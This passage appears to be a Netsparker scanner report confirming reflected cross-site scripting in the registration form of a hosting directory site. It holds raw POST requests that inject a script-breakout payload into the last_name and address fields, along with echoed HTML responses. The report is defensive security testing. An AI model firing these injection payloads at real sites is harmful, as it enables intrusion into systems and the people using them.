company_name=Smith&first_name=Smith&last_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EB3)%3c%2fscript%3e&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:59:54 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='B243698350D4E65C76D40C84BB028C6BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='B243698350D4E65C46BA25B8363CEB426F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='B243698350D4E65CE7835C14212F9646C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='B243698350D4E65C18DF8D61DCD83803C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='B243698350D4E65CC96E6618235AC2AE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='B243698350D4E65C1F22A5240ADB8B90C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='B243698350D4E65C8FBD13813C914088C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='B243698350D4E65C030D1232E51160316F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='B243698350D4E65C9CB16C90D81117C3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='B243698350D4E65CFB4EE4E1ED2BCE596F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='B243698350D4E65C16FE48AFE32002B5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='B243698350D4E65C444BD730DF0D9810C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='B243698350D4E65CD1738C769CC0334EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='B243698350D4E65C3CF1C378B54C33EFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='B243698350D4E65C7C37149E65BC5326C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='B243698350D4E65CBE4651D50DC4380CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='B243698350D4E65C882B864F83E2C6F86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='B243698350D4E65C92B10799A3A149906F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='B243698350D4E65CF9E4FC077B6BA7DE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST '"--></style></script><script>alert(0x001EB4)</script>
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EB4)%3c%2fscript%3e&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:00:01 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5F82287B94E338F23FBD50E3BA4838AFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='5F82287B94E338F225C968C78D6F711E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='5F82287B94E338F22130FCB70BE7F1FDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F22E72A0228072779BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='5F82287B94E338F213581C58C66E37396F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5F82287B94E338F2CD56D304EF1E6F27C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='5F82287B94E338F27511294064542C45C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='5F82287B94E338F2D3D50A8A301389456F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='5F82287B94E338F2021B091E4B35BD35C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='5F82287B94E338F2DCDD5AFD7F868FCF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5F82287B94E338F296453B2CDC96D5F2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='5F82287B94E338F241E301D52B1FC36FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='5F82287B94E338F235E31494CF4A6F9BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F2C6E0543B7A20CB94C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='5F82287B94E338F26DDC5EDB943B0E15C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5F82287B94E338F28D27974EF023F6DBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='5F82287B94E338F25AC06376771FE8566F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='5F82287B94E338F2F91C9D32B703D8776F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='5F82287B94E338F2A838D3751B88C1786F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
